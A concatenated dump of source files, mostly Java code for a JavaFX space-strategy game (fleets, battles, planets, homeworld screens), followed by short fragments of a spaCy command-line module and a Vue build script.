WAR_GOAL_COST,INF_PER_SYSTEM,SHIP_MAINTENANCE,GROUND_FORCE_MAINTENEANCE,STARTING_COLONY_POP,CREDITS_PER_TRADE_ROUTE,
SHIP_WEAPONS,SHIP_ARMOUR,EMPIRE_FOOD,MILITARY_UNIT_LEVEL,
}
<file_sep>/src/sample/Enums/Ideology.java
package sample.Enums;
public enum Ideology {
MILITARIST,PACIFIST,RELIGIOUS,TECHNOCRATIC,EGALITARIAN,AUTHORITARIAN
}
<file_sep>/src/sample/GalaxyData/Battle.java
package sample.GalaxyData;
import sample.EmpireData.Fleet;
import sample.EmpireData.Ship;
import sample.Enums.Effect;
import java.util.Random;
public class Battle {
private Fleet attacker;
private Fleet defender;
private Star location;
public Battle(Fleet attacker, Fleet defender, Star location){
this.attacker = attacker;
this.defender = defender;
this.location = location;
playBattle();
}
public void playBattle(){
while(attacker.getMorale() > 0 && defender.getMorale() > 0 && attacker.getShips().size() > 0 && defender.getShips().size() > 0){
BattleRound();
}
if(attacker.getMorale() <= 0 && attacker.getShips().size() > 0){
System.out.println("defender wins!");
}
if(defender.getMorale() <= 0 && defender.getShips().size() > 0){
System.out.println("attacker wins!");
}
}
public void BattleRound(){
Random r = new Random();
int attackerSize = attacker.getShips().size();
int defenderSize = defender.getShips().size();
for (Ship s: attacker.getShips()) {
s.assignTarget(defender.getShips().get(r.nextInt(defenderSize)));
attackTarget(s,s.getTarget(),attacker,defender);
}
for (Ship s: defender.getShips()) {
s.assignTarget(attacker.getShips().get(r.nextInt(attackerSize)));
attackTarget(s,s.getTarget(),defender,attacker);
}
System.out.println("Attacking Fleet ship count: " + attacker.getShips().size());
System.out.println("Defending Fleet ship count: " + defender.getShips().size());
}
public void attackTarget(Ship attackingShip, Ship defendingShip,Fleet attackingFleet,Fleet defendingFleet){
double weaponsModified = (attackingShip.getWeapons() * attacker.getLoyalty().searchForModifier(Effect.SHIP_WEAPONS));
double armourModified = (defendingShip.getArmour() * defender.getLoyalty().searchForModifier(Effect.SHIP_ARMOUR));
double damage = armourModified + weaponsModified;
defendingShip.setHp(defendingShip.getHp()-damage);
defendingShip.setMorale(defendingShip.getMorale()-(damage/2));
if(defendingShip.getHp() <= 0){
defendingFleet.destroyShip(defendingShip);
}
}
}
<file_sep>/src/sample/EmpireData/Modifiers.java
package sample.EmpireData;
public class Modifiers {
private int startingColonyPop = 1;
private double shipMorale = 0; //percentage
private double armyMorale = 0; //percentage
private int tradeRouteCredits = 0; //additional credits added to gross total
}
<file_sep>/src/sample/Dictionaries/TechnologyDictionary.java
package sample.Dictionaries;
import sample.Enums.Tech;
import sample.GalaxyData.Technology;
public class TechnologyDictionary {
public static Technology makeTech(Tech t){
Technology newTech = new Technology();
return newTech;
}
}
<file_sep>/src/sample/Screens/ColonisationScreen.java
package sample.Screens;
import javafx.scene.Scene;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.Pane;
import javafx.stage.Stage;
import sample.EmpireData.Empire;
import sample.Enums.Effect;
import sample.GalaxyData.Planet;
import sample.UIElements.Button;
import sample.UIElements.Panel;
import sample.UIElements.SmallButton;
public class ColonisationScreen {
Planet planet;
Empire empire;
Pane root = new Pane();
Scene colonisationScene = new Scene(root,1000,700);
Button back = new Button("Back",root,0,0);
Panel planetInfo;
Scene lastScene;
Stage primaryStage;
public ColonisationScreen(Planet planet, Empire empire, Scene lastScene, Stage primaryStage){
this.planet = planet;
this.empire = empire;
this.lastScene = lastScene;
this.primaryStage = primaryStage;
back.getLabel().setOnMouseClicked(this::backToLastScene);
back.getSegmentGroup().setOnMouseClicked(this::backToLastScene);
getInfo();
}
public void getInfo(){
String planetName = "Name: " + planet.getName();
String planetBiome = "Biome: " + planet.getBiome();
String planetTemp = "Temperature: " + planet.getTemp();
String planetGrav = "Gravity: " + planet.getGrav();
String[] info = {planetName,planetBiome,planetTemp,planetGrav};
planetInfo = new Panel(root,info,0,32);
}
public void backToLastScene(MouseEvent event){
primaryStage.setScene(lastScene);
}
}
<file_sep>/src/sample/Enums/Job.java
package sample.Enums;
public enum Job {
FARMER,WORKER,SCIENTIST
}
<file_sep>/src/sample/Dictionaries/LawDictionary.java
package sample.Dictionaries;
public class LawDictionary {
}
<file_sep>/src/sample/EmpireData/Fleet.java
package sample.EmpireData;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
import sample.Enums.ShipClass;
import sample.Leader;
import java.util.ArrayList;
public class Fleet {
private ImageView sprite = new ImageView("FleetIcon.png");
private Empire loyalty;
private Leader admiral;
private ArrayList<Ship> ships = new ArrayList<>();
private double morale = 100;
private int x;
private int y;
public Fleet(Empire loyalty, int x, int y, ArrayList<Ship> ships, Pane root){
this.loyalty = loyalty;
this.x = x;
this.y = y;
this.ships = ships;
root.getChildren().add(sprite);
Image Hex = new Image("Hex.png");
if(y % 2 == 0) {
sprite.setTranslateX( ((1.5*x) * Hex.getWidth()) + 24);
sprite.setTranslateY(((y * (Hex.getHeight()/2))+35) - 5);
} else {
sprite.setTranslateX( ((1.5*x) * Hex.getWidth() + (Hex.getWidth()*0.75)) + 24);
sprite.setTranslateY(((y * (Hex.getHeight()/2))+35) - 5);
}
}
public void destroyShip(Ship ship){
if(ship.getShipClass() == ShipClass.BATTLESHIP){
morale = morale - 15;
} else if(ship.getShipClass() == ShipClass.FRIGATE){
morale = morale - 5;
}
ships.remove(ship);
}
public void addShip(Ship ship){
ships.add(ship);
}
public Leader getAdmiral() {
return admiral;
}
public void setAdmiral(Leader admiral) {
this.admiral = admiral;
}
public double getMorale() {
return morale;
}
public void setMorale(double morale) {
this.morale = morale;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public Empire getLoyalty() {
return loyalty;
}
public void setLoyalty(Empire loyalty) {
this.loyalty = loyalty;
}
public ArrayList<Ship> getShips() {
return ships;
}
public void setShips(ArrayList<Ship> ships) {
this.ships = ships;
}
public ImageView getSprite() {
return sprite;
}
public void setSprite(ImageView sprite) {
this.sprite = sprite;
}
}
<file_sep>/src/sample/Enums/Tech.java
package sample.Enums;
public enum Tech {
NUCLEAR_FUSION,
}
<file_sep>/src/sample/UIElements/Tooltip.java
package sample.UIElements;
import javafx.scene.Group;
import javafx.scene.Node;
import javafx.scene.control.Label;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.Pane;
import java.awt.*;
public class Tooltip {
ImageView sprite = new ImageView("Tooltip.png");
Label text = new Label();
Group group = new Group();
public Tooltip(Node[] n, String text, Pane root){
for(int i = 0; i < n.length; i++){
n[i].setOnMouseMoved(this::showToolTip);
n[i].setOnMouseExited(this::hideToolTip);
}
root.getChildren().add(sprite);
root.getChildren().add(this.text);
sprite.setVisible(false);
this.text.setVisible(false);
this.text.setText(text);
//group.getChildren().add(this.text);
//group.getChildren().add(sprite);
}
public void showToolTip(MouseEvent event){
sprite.setVisible(true);
text.setVisible(true);
sprite.setTranslateX(MouseInfo.getPointerInfo().getLocation().x - 300);
sprite.setTranslateY(MouseInfo.getPointerInfo().getLocation().y - 100);
text.setTranslateX(MouseInfo.getPointerInfo().getLocation().x - 290);
text.setTranslateY(MouseInfo.getPointerInfo().getLocation().y - 90);
}
public void hideToolTip(MouseEvent event){
sprite.setVisible(false);
text.setVisible(false);
}
}
<file_sep>/src/sample/EmpireData/Improvement.java
package sample.EmpireData;
import sample.Enums.ImprovementType;
public class Improvement extends Buildable{
private String name;
private ImprovementType type;
private int productionCost;
private Modifier mod;
public Modifier getMod() {
return mod;
}
public void setMod(Modifier mod) {
this.mod = mod;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public ImprovementType getType() {
return type;
}
public void setType(ImprovementType type) {
this.type = type;
}
public int getProductionCost() {
return productionCost;
}
public void setProductionCost(int productionCost) {
this.productionCost = productionCost;
}
}
<file_sep>/src/sample/UIElements/SmallButton.java
package sample.UIElements;
import javafx.scene.control.Label;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
public class SmallButton {
private ImageView sprite = new ImageView("SmallButton.png");
private Label text = new Label("");
public SmallButton(Pane root, String text, int xPos, int yPos){
sprite.setTranslateX(xPos);
sprite.setTranslateY(yPos);
this.text.setTranslateX(xPos + 12);
this.text.setTranslateY(yPos + 8);
this.text.setText(text);
root.getChildren().add(sprite);
root.getChildren().add(this.text);
}
public ImageView getSprite() {
return sprite;
}
public void setSprite(ImageView sprite) {
this.sprite = sprite;
}
public Label getText() {
return text;
}
public void setText(Label text) {
this.text = text;
}
}
<file_sep>/src/sample/Enums/Gravity.java
package sample.Enums;
public enum Gravity {
HIGH,MEDIUM,LOW
}
<file_sep>/src/sample/Screens/HomeWorldChoosingScreen.java
package sample.Screens;
import javafx.scene.Scene;
import javafx.scene.control.TextField;
import javafx.scene.input.MouseEvent;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.Pane;
import javafx.stage.Stage;
import sample.EmpireData.Empire;
import sample.Enums.*;
import sample.GalaxyData.Planet;
import sample.UIElements.Background;
import sample.UIElements.Button;
import sample.UIElements.LabelBackground;
import sample.UIElements.ToggleButton;
import java.util.ArrayList;
public class HomeWorldChoosingScreen {
Pane root = new Pane();
LabelBackground homeworldBiome = new LabelBackground("Homeworld Biome",root,0,0);
ArrayList<ToggleButton> biomePicker = new ArrayList<>();
LabelBackground homeworldTempurature = new LabelBackground("Tempurature",root,0.0,110.0);
ArrayList<ToggleButton> gravityPicker = new ArrayList<>();
LabelBackground homeworldGravity = new LabelBackground("Gravity",root,0.0,165.0);
Background bg = new Background(root);
ArrayList<ToggleButton> tempuraturePicker = new ArrayList<>();
TextField homeworldName = new TextField();
Scene homeWorldScene = new Scene(root,1000,500);
Biome biome = Biome.TERRAN;
Temperature temperature = Temperature.TEMPERATE;
Gravity gravity = Gravity.MEDIUM;
Button next = new Button("Next",root,9,9);
Empire e;
Planet p;
Stage primaryStage;
public HomeWorldChoosingScreen(Empire e,Stage s){
int xtemp = 0;
for(int i = 0; i < Biome.values().length; i++){
biomePicker.add(new ToggleButton(root,xtemp,1 + (i/5),Biome.values()[i].toString()));
xtemp++;
if(xtemp > 4){
xtemp = 0;
}
}
for(int i = 0; i < biomePicker.size(); i++){
for(int j = 0; j < biomePicker.size(); j++){
biomePicker.get(i).addExclusive(biomePicker.get(j));
biomePicker.get(i).getLabel().setOnMouseClicked(this::handleBiomeMutualExclusive);
biomePicker.get(i).getSprite().setOnMouseClicked(this::handleBiomeMutualExclusive);
}
}
for(int i = 0; i < Temperature.values().length; i++){
ToggleButton temp = new ToggleButton(root,i,5, Temperature.values()[i].toString());
temp.getSprite().setOnMouseClicked(this::handleTempuratureMutualExclusive);
temp.getLabel().setOnMouseClicked(this::handleTempuratureMutualExclusive);
tempuraturePicker.add(temp);
}
tempuraturePicker.get(0).addExclusive(tempuraturePicker.get(1));
tempuraturePicker.get(0).addExclusive(tempuraturePicker.get(2));
tempuraturePicker.get(1).addExclusive(tempuraturePicker.get(2));
for(int i = 0; i < Gravity.values().length; i++){
ToggleButton temp = new ToggleButton(root,i,7, Gravity.values()[i].toString());
temp.getSprite().setOnMouseClicked(this::handleGravityMutualExclusive);
temp.getLabel().setOnMouseClicked(this::handleGravityMutualExclusive);
gravityPicker.add(temp);
}
gravityPicker.get(0).addExclusive(gravityPicker.get(1));
gravityPicker.get(0).addExclusive(gravityPicker.get(2));
gravityPicker.get(1).addExclusive(gravityPicker.get(2));
next.getSegmentGroup().setOnMouseClicked(this::finishHomeworld);
next.getLabel().setOnMouseClicked(this::finishHomeworld);
root.getChildren().add(homeworldName);
homeworldName.setTranslateX(0);
homeworldName.setTranslateY(300);
next.setXPos(400);
next.setYPos(400);
primaryStage = s;
this.e = e;
}
public void handleBiomeMutualExclusive(MouseEvent event){
for (ToggleButton x : biomePicker) {
if (x.getSprite() == event.getSource() || x.getLabel() == event.getSource()) {
for (ToggleButton y : x.getMutuallyExclusive()) {
if(y.isActive()) {
y.clickFeedback(event);
}
}
x.clickFeedback(event);
biome = Biome.valueOf(x.getLabel().getText());
}
}
}
public void handleTempuratureMutualExclusive(MouseEvent event){
for (ToggleButton x : tempuraturePicker) {
if (x.getSprite() == event.getSource() || x.getLabel() == event.getSource()) {
for (ToggleButton y : x.getMutuallyExclusive()) {
if(y.isActive()) {
y.clickFeedback(event);
}
}
x.clickFeedback(event);
temperature = Temperature.valueOf(x.getLabel().getText());
}
}
}
public void handleGravityMutualExclusive(MouseEvent event){
for (ToggleButton x : gravityPicker) {
if (x.getSprite() == event.getSource() || x.getLabel() == event.getSource()) {
for (ToggleButton y : x.getMutuallyExclusive()) {
if(y.isActive()) {
y.clickFeedback(event);
}
}
x.clickFeedback(event);
gravity = Gravity.valueOf(x.getLabel().getText());
}
}
}
public void finishHomeworld(MouseEvent event){
System.out.println("Homeworld Created");
p = Planet.generatePlanet();
p.setBiome(biome);
p.setGrav(gravity);
p.setTemp(temperature);
p.setName(homeworldName.getText());
ColorChoosingScreen x = new ColorChoosingScreen(primaryStage,e,p);
primaryStage.setScene(x.colorCreationScene);
}
}
<file_sep>/src/sample/Screens/GovernmentScreen.java
package sample.Screens;
public class GovernmentScreen {
}<file_sep>/src/sample/GalaxyData/Star.java
package sample.GalaxyData;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
import java.util.ArrayList;
import java.util.Random;
public class Star {
private StarType type = StarType.NONE;
private ArrayList<Planet> planets = new ArrayList<Planet>();
private ImageView sprite = new ImageView();
private int x;
private int y;
public Star(Pane root,int x,int y){
root.getChildren().add(sprite);
this.x = x;
this.y = y;
}
public Star(Pane root,StarType type,int x,int y){
sprite.setImage(new Image("tile_star.png"));
//root.getChildren().add(sprite);
this.x = x;
this.y = y;
this.type = type;
if(y % 2 == 0) {
sprite.setTranslateX( (1.5*x) * sprite.getImage().getWidth());
sprite.setTranslateY((y * (sprite.getImage().getHeight()/2))+35);
} else {
sprite.setTranslateX( (1.5*x) * sprite.getImage().getWidth() + (sprite.getImage().getWidth()*0.75));
sprite.setTranslateY((y * (sprite.getImage().getHeight()/2))+35);
}
generatePlanet();
}
public void generatePlanet(){
Random r = new Random();
int numPlanet = r.nextInt(4) + 1;
for(int i = 0; i < numPlanet; i++){
planets.add(Planet.generatePlanet());
}
}
public Star[] findNeighbours(Star[][] grid,int mapX,int mapY){
Star[] neighbours = new Star[6];
System.out.println("MapX: "+mapX + " MapY: " + mapY);
if(y-2 >= 0){
neighbours[0] = grid[x][y-2];
} else{
neighbours[0] = null;
}
if(y+2 < mapY){
neighbours[1] = grid[x][y+2];
} else{
neighbours[1] = null;
}
if(y % 2 == 0){ //even
if(y-1 >= 0){
neighbours[2] = grid[x][y-1];
} else{
neighbours[2] = null;
}
if(y+1 < mapY){
neighbours[3] = grid[x][y+1];
} else{
neighbours[3] = null;
}
if(x-1 >= 0 && y+1 < mapY){
neighbours[4] = grid[x-1][y+1];
} else{
neighbours[4] = null;
}
if(x-1 >= 0 && y-1 >= 0){
neighbours[5] = grid[x-1][y-1];
} else{
neighbours[5] = null;
}
}
else{ //odd
if(x+1 < mapX && y-1 >= 0){
neighbours[2] = grid[x+1][y-1];
} else{
neighbours[2] = null;
}
if(x+1 < mapX && y+1 < mapY){
neighbours[3] = grid[x+1][y+1];
} else{
neighbours[3] = null;
}
if(y+1 < mapY){
neighbours[4] = grid[x][y+1];
} else{
neighbours[4] = null;
}
if(y-1 >= 0){
neighbours[5] = grid[x][y-1];
} else{
neighbours[5] = null;
}
}
return neighbours;
}
public int getX() {
return x;
}
public void setX(int x) {
this.x = x;
}
public int getY() {
return y;
}
public void setY(int y) {
this.y = y;
}
public StarType getType() {
return type;
}
public void setType(StarType type) {
this.type = type;
}
public ArrayList<Planet> getPlanets() {
return planets;
}
public void setPlanets(ArrayList<Planet> planets) {
this.planets = planets;
}
public ImageView getSprite() {
return sprite;
}
public void setSprite(ImageView sprite) {
this.sprite = sprite;
}
}
<file_sep>/src/sample/EmpireData/Species.java
package sample.EmpireData;
import sample.Enums.TraitEnum;
import java.util.ArrayList;
public class Species {
private String name;
private ArrayList<TraitEnum> traits = new ArrayList<>();
public int getFoodBonus(){
int foodBonus = 0;
if(traits.contains(TraitEnum.FOOD_MINUS_1)){
foodBonus = -1;
}
if(traits.contains(TraitEnum.FOOD_PLUS_1)){
foodBonus = 1;
}
if(traits.contains(TraitEnum.FOOD_PLUS_2)){
foodBonus = 2;
}
return foodBonus;
}
public int getProductionBonus(){
int productionBonus = 0;
if(traits.contains(TraitEnum.PROD_MINUS_1)){
productionBonus = -1;
}
if(traits.contains(TraitEnum.PROD_PLUS_1)){
productionBonus = 1;
}
if(traits.contains(TraitEnum.PROD_PLUS_2)){
productionBonus = 2;
}
return productionBonus;
}
public int getScienceBonus(){
int scienceBonus = 0;
if(traits.contains(TraitEnum.SCI_MINUS_1)){
scienceBonus = -1;
}
if(traits.contains(TraitEnum.SCI_PLUS_1)){
scienceBonus = 1;
}
if(traits.contains(TraitEnum.SCI_PLUS_2)){
scienceBonus = 2;
}
return scienceBonus;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public ArrayList<TraitEnum> getTraits() {
return traits;
}
public void setTraits(ArrayList<TraitEnum> traits) {
this.traits = traits;
}
}
<file_sep>/src/sample/EmpireData/Ship.java
package sample.EmpireData;
import sample.Enums.ShipClass;
public class Ship extends Buildable{
private String name;
private ShipClass shipClass;
private double speed;
private double hp = 100;
private double weapons;
private double shields;
private double armour;
private double agility;
private double morale;
private int movement;
private double xp;
private int level;
private Ship target;
private double combatStrength;
public Ship(){
}
public double getCombatStrength() {
return combatStrength;
}
public void setCombatStrength(double combatStrength) {
this.combatStrength = combatStrength;
}
public int getMovement() {
return movement;
}
public void setMovement(int movement) {
this.movement = movement;
}
public void assignTarget(Ship target){
this.target = target;
}
public ShipClass getShipClass() {
return shipClass;
}
public void setShipClass(ShipClass shipClass) {
this.shipClass = shipClass;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public double getSpeed() {
return speed;
}
public void setSpeed(double speed) {
this.speed = speed;
}
public double getHp() {
return hp;
}
public void setHp(double hp) {
this.hp = hp;
}
public double getWeapons() {
return weapons;
}
public void setWeapons(double weapons) {
this.weapons = weapons;
}
public double getShields() {
return shields;
}
public void setShields(double shields) {
this.shields = shields;
}
public double getArmour() {
return armour;
}
public void setArmour(double armour) {
this.armour = armour;
}
public double getAgility() {
return agility;
}
public void setAgility(double agility) {
this.agility = agility;
}
public double getMorale() {
return morale;
}
public void setMorale(double morale) {
this.morale = morale;
}
public double getXp() {
return xp;
}
public void setXp(double xp) {
this.xp = xp;
}
public int getLevel() {
return level;
}
public void setLevel(int level) {
this.level = level;
}
public Ship getTarget() {
return target;
}
public void setTarget(Ship target) {
this.target = target;
}
}
<file_sep>/src/sample/GalaxyData/Planet.java
package sample.GalaxyData;
import sample.Enums.Biome;
import sample.Enums.Gravity;
import sample.Enums.Temperature;
import java.util.Random;
public class Planet {
private int populationCap;
private String name;
private Gravity grav;
private Temperature temp;
private Biome biome;
private boolean colonised = false;
private int foodYeild = 2;
private int scienceYeild = 2;
private int productionYeild = 2;
private int creditYeild = 2;
public Planet(){
}
public static Planet generatePlanet(){
Planet newPlanet = new Planet();
Random r = new Random();
newPlanet.biome = Biome.values()[r.nextInt(Biome.values().length)];
newPlanet.grav = Gravity.values()[r.nextInt(Gravity.values().length)];
newPlanet.temp = Temperature.values()[r.nextInt(Temperature.values().length)];
newPlanet.name = generatePlanetName();
return newPlanet;
}
public static String generatePlanetName(){
String prefix[] = {"Gla","Vol","Fort","Pol","Gal","Jin","Wei","Nov","Hi","Tre","Ely","Era","Aral","Oru","Una"};
String suffix[] = {"lix","lon","lux","tron","yuu","dur","bit","num","dol","rule","sia","tia","shun","con"};
Random r = new Random();
String name = prefix[r.nextInt(prefix.length)] + suffix[r.nextInt(suffix.length)];
return name;
}
public int getFoodYeild() {
return foodYeild;
}
public void setFoodYeild(int foodYeild) {
this.foodYeild = foodYeild;
}
public int getScienceYeild() {
return scienceYeild;
}
public void setScienceYeild(int scienceYeild) {
this.scienceYeild = scienceYeild;
}
public int getProductionYeild() {
return productionYeild;
}
public void setProductionYeild(int productionYeild) {
this.productionYeild = productionYeild;
}
public int getCreditYeild() {
return creditYeild;
}
public void setCreditYeild(int creditYeild) {
this.creditYeild = creditYeild;
}
public boolean isColonised() {
return colonised;
}
public void setColonised(boolean colonised) {
this.colonised = colonised;
}
public int getPopulationCap() {
return populationCap;
}
public void setPopulationCap(int populationCap) {
this.populationCap = populationCap;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Gravity getGrav() {
return grav;
}
public void setGrav(Gravity grav) {
this.grav = grav;
}
public Temperature getTemp() {
return temp;
}
public void setTemp(Temperature temp) {
this.temp = temp;
}
public Biome getBiome() {
return biome;
}
public void setBiome(Biome biome) {
this.biome = biome;
}
}
<file_sep>/src/sample/Enums/Temperature.java
package sample.Enums;
public enum Temperature {
HOT,TEMPERATE,COLD
}
<file_sep>/src/sample/Screens/TechScreen.java
package sample.Screens;
public class TechScreen {
}
<file_sep>/src/sample/Leader.java
package sample;
import sample.EmpireData.Species;
public class Leader {
Species species;
String name;
private int xp;
private int level;
}
| 9eeaa729874bcac409f7416bf25d711e8d540f7e | [
"Java"
] | 37 | Java | HamLord404/ProjectNova | e25eb41b81b5b9977dc3789075399e2105904463 | 1cba31d7f83097d45df6edd4df52118d6c3f34e5 |
refs/heads/master | <repo_name>madimov/spacy_heroku<file_sep>/spacy/cli/__init__.py
from .download import download
from .info import info
from .link import link
<file_sep>/spacy/__main__.py
# coding: utf8
#
from __future__ import print_function
# NB! This breaks in plac on Python 2!!
#from __future__ import unicode_literals,
import plac
from spacy.cli import download as cli_download
from spacy.cli import link as cli_link
from spacy.cli import info as cli_info
class CLI(object):
"""Command-line interface for spaCy"""
commands = ('download', 'link', 'info')
@plac.annotations(
model=("model to download (shortcut or model name)", "positional", None, str),
direct=("force direct download. Needs model name with version and won't "
"perform compatibility check", "flag", "d", bool)
)
def download(self, model=None, direct=False):
"""
Download compatible model from default download path using pip. Model
can be shortcut, model name or, if --direct flag is set, full model name
with version.
"""
cli_download(model, direct)
@plac.annotations(
origin=("package name or local path to model", "positional", None, str),
link_name=("Name of shortuct link to create", "positional", None, str),
force=("Force overwriting of existing link", "flag", "f", bool)
)
def link(self, origin, link_name, force=False):
"""
Create a symlink for models within the spacy/data directory. Accepts
either the name of a pip package, or the local path to the model data
directory. Linking models allows loading them via spacy.load(link_name).
"""
cli_link(origin, link_name, force)
@plac.annotations(
model=("optional: shortcut link of model", "positional", None, str),
markdown=("generate Markdown for GitHub issues", "flag", "md", str)
)
def info(self, model=None, markdown=False):
"""
Print info about spaCy installation. If a model shortcut link is
speficied as an argument, print model information. Flag --markdown
prints details in Markdown for easy copy-pasting to GitHub issues.
"""
cli_info(model, markdown)
def __missing__(self, name):
print("\n Command %r does not exist\n" % name)
if __name__ == '__main__':
import plac
import sys
cli = CLI()
sys.argv[0] = 'spacy'
plac.Interpreter.call(CLI)
<file_sep>/spacy/cli/info.py
# coding: utf8
from __future__ import unicode_literals
import platform
from pathlib import Path
from .. import about
from .. import util
def info(model=None, markdown=False):
if model:
data = util.parse_package_meta(util.get_data_path(), model, require=True)
model_path = Path(__file__).parent / util.get_data_path() / model
if model_path.resolve() != model_path:
data['link'] = str(model_path)
data['source'] = str(model_path.resolve())
else:
data['source'] = str(model_path)
print_info(data, "model " + model, markdown)
else:
data = get_spacy_data()
print_info(data, "spaCy", markdown)
def print_info(data, title, markdown):
title = "Info about {title}".format(title=title)
if markdown:
util.print_markdown(data, title=title)
else:
util.print_table(data, title=title)
def get_spacy_data():
return {
'spaCy version': about.__version__,
'Location': str(Path(__file__).parent.parent),
'Platform': platform.platform(),
'Python version': platform.python_version(),
'Installed models': ', '.join(list_models())
}
def list_models():
data_path = util.get_data_path()
return [f.parts[-1] for f in data_path.iterdir() if f.is_dir()]
| b5bc6d123a269bb4d6c65f210a06cfc4469e46d7 | [
"Python"
] | 3 | Python | madimov/spacy_heroku | e378404b9195be1425da67e85126fe78b70f3d1b | 226f960dc52f7cd65c135c0c3bb7ebd2d99407d2 |
refs/heads/master | <file_sep><?php
namespace App\Http\Resources;
use Illuminate\Http\Resources\Json\ResourceCollection;
class TodoCollection extends ResourceCollection
{
/**
* php artisan make:resource TodoCollection
*
* https://laravel.com/docs/5.5/eloquent-resources
*
* Transform the resource collection into an array.
*
* @param \Illuminate\Http\Request $request
* @return array
*/
public function toArray($request)
{
return [
'data' => $this->collection->transform(function ($page){
return [
'id' => $page->id,
'title' => $page->title,
'done' => $page->done
];
}),
'links2' => [
'хуелв' => 'Какая то хрень',
],
];
}
/**
* Customize the outgoing response for the resource.
* Для заголовков
* @param \Illuminate\Http\Request
* @param \Illuminate\Http\Response
* @return void
*/
/* public function withResponse($request, $response)
{
$response->header('X-Value', 'True');
}*/
}
| 65682233f69d73f0b420d5072538607d6d30e1f0 | [
"PHP"
] | 1 | PHP | mrsova/rest-api | b87a8db6219102194c5e2d345427e931f5426487 | 4af863960abc7e700d82e101b4689ac6f5ad6046 |
refs/heads/master | <file_sep>from django.shortcuts import render
import requests
from django.template.defaulttags import register
@register.filter
def get_item(dictionary, key):
return dictionary.get(key)
def home(request):
if request.method == "POST":
search = request.POST.get('search')
print(search)
url = 'https://forkify-api.herokuapp.com/api/search?&q=%s' % search
print(url)
response = requests.get(url)
searchdata = response.json()
recipes = searchdata['recipes']
#posts = []
#publishers = []
#for k in recipes:
#print(k['title'])
#posts.append(k['title'])
#publishers.append(k['publisher'])
#for x in range(len( posts)):
#print (posts[x])
#resc = recipe[count-2]
#print(resc)
#res = resc['title']
#print(res)
#print(recipe[2]['title'])
return render(request , 'customer\PrimeP.html' , { 'recipes': recipes , 'search':search } )
else:
return render(request , 'customer\PrimeP.html')
def home2(request):
response = requests.get('https://forkify-api.herokuapp.com/api/search?&q=pizza')
searchdata = response.json()
print(searchdata.recipes)
return render(request , 'customer\PrimeP.html' , {'count':searchdata['count'] , 'recipes':searchdata['title']}) | dcdf6d0f765e271bd0112e0c87c49f25ed74b509 | [
"Python"
] | 1 | Python | ayushh01/PrimePizza_Django | e349de697b4350c6d565ea3c69193216a2e4fb4a | 1cfc96eef69c924bcb720f5e6a520eaf759469e8 |
refs/heads/master | <repo_name>carrie-pan/laravel<file_sep>/resources/assets/js/router.js
import VueRouter from 'vue-router';
const routes = [
{
path: '/',
component: require('./components/Index')
},
{
path: '/create',
component: require('./components/Create')
},
{
path: '/home',
component: require('./components/Home')
},
{
path: '/:id',
component: require('./components/Show')
},
{
path: '/:id/edit',
component: require('./components/Edit')
}
];
const router = new VueRouter({routes});
export default router; | 682719501ccf156c6cab9ae4593eafe3f8d02b96 | [
"JavaScript"
] | 1 | JavaScript | carrie-pan/laravel | f91fc81acf410ebe24decb113c059c83a87b96a3 | 432b607aa274fda8923bec31e8cc590b2c4e2adf |
refs/heads/main | <repo_name>tayyabmughal676/RealmAppUI<file_sep>/RealmAppUI/ViewModel/DBViewModel.swift
//
// DBViewModel.swift
// RealmAppUI
//
// Created by Thor on 01/09/2021.
//
import SwiftUI
import RealmSwift
class DBViewModel : ObservableObject{
@Published var title = ""
@Published var detail = ""
@Published var openNewPage = false
// Fetched Data
@Published var cards : [Card] = []
// Data Updation...
@Published var updateObject : Card?
init(){
fetchData()
}
// Fetching data
func fetchData(){
// Gettting reference
guard let dbRef = try? Realm() else {return}
let results = dbRef.objects(Card.self)
// Displaying result
self.cards = results.compactMap({ (card) -> Card? in
return card
})
}
func deleteData(object: Card){
// Gettting reference
guard let dbRef = try? Realm() else {return}
try? dbRef.write{
dbRef.delete(object)
// Updating UI
fetchData()
}
}
// Add New Data...
func addData(presentation: Binding<PresentationMode>){
let card = Card()
card.title = title
card.detail = detail
// Gettting reference
guard let dbRef = try? Realm() else {return}
// Writing Data
try? dbRef.write{
// Checking and Writing Data
guard let availbleObject = updateObject else{
dbRef.add(card)
return
}
availbleObject.title = title
availbleObject.detail = detail
}
// Updating UI
fetchData()
// Closing view
presentation.wrappedValue.dismiss()
}
// Setting and clearing the data
func setUpInitialData(){
guard let updateData = updateObject else {return}
title = updateData.title
detail = updateData.detail
}
func deInitData(){
title = ""
detail = ""
}
}
<file_sep>/RealmAppUI/Model/Card.swift
//
// Card.swift
// RealmAppUI
//
// Created by Thor on 01/09/2021.
//
import Foundation
import RealmSwift
//Creating Realm Object...
class Card: Object, Identifiable{
@objc dynamic var id : Date = Date()
@objc dynamic var title = ""
@objc dynamic var detail = ""
}
<file_sep>/RealmAppUI/RealmAppUIApp.swift
//
// RealmAppUIApp.swift
// RealmAppUI
//
// Created by Thor on 01/09/2021.
//
import SwiftUI
@main
struct RealmAppUIApp: App {
var body: some Scene {
WindowGroup {
ContentView()
}
}
}
| 1a205e0d4a70f22d58aa1058975e7048f57ded5e | [
"Swift"
] | 3 | Swift | tayyabmughal676/RealmAppUI | 364859472bc47cf1da7ebe276cbd6b7c296d5338 | 7df15a77b6fb4166a80ce4cabff15ff83a713298 |
refs/heads/master | <repo_name>zmaydays/shikelang-vue<file_sep>/build/build.js
var path = require('path');
var rm = require('rimraf');
var webpack = require('webpack');
var webpackConf = require('./webpack.build.conf.js');
rm(path.join(__dirname, '..', 'dist'), function (err) {
if (err) throw err;
webpack(webpackConf, function (err, stats) {
// console.log(err,stats);
});
})
<file_sep>/README.md
# shikelang-vue
<file_sep>/src/directives/lazyload.js
const install = function (Vue, opts = {}) {
Vue.directive('lazyload', {
inserted: function (el) {
console.log('lazyload自定义指令');
}
});
}
export default {
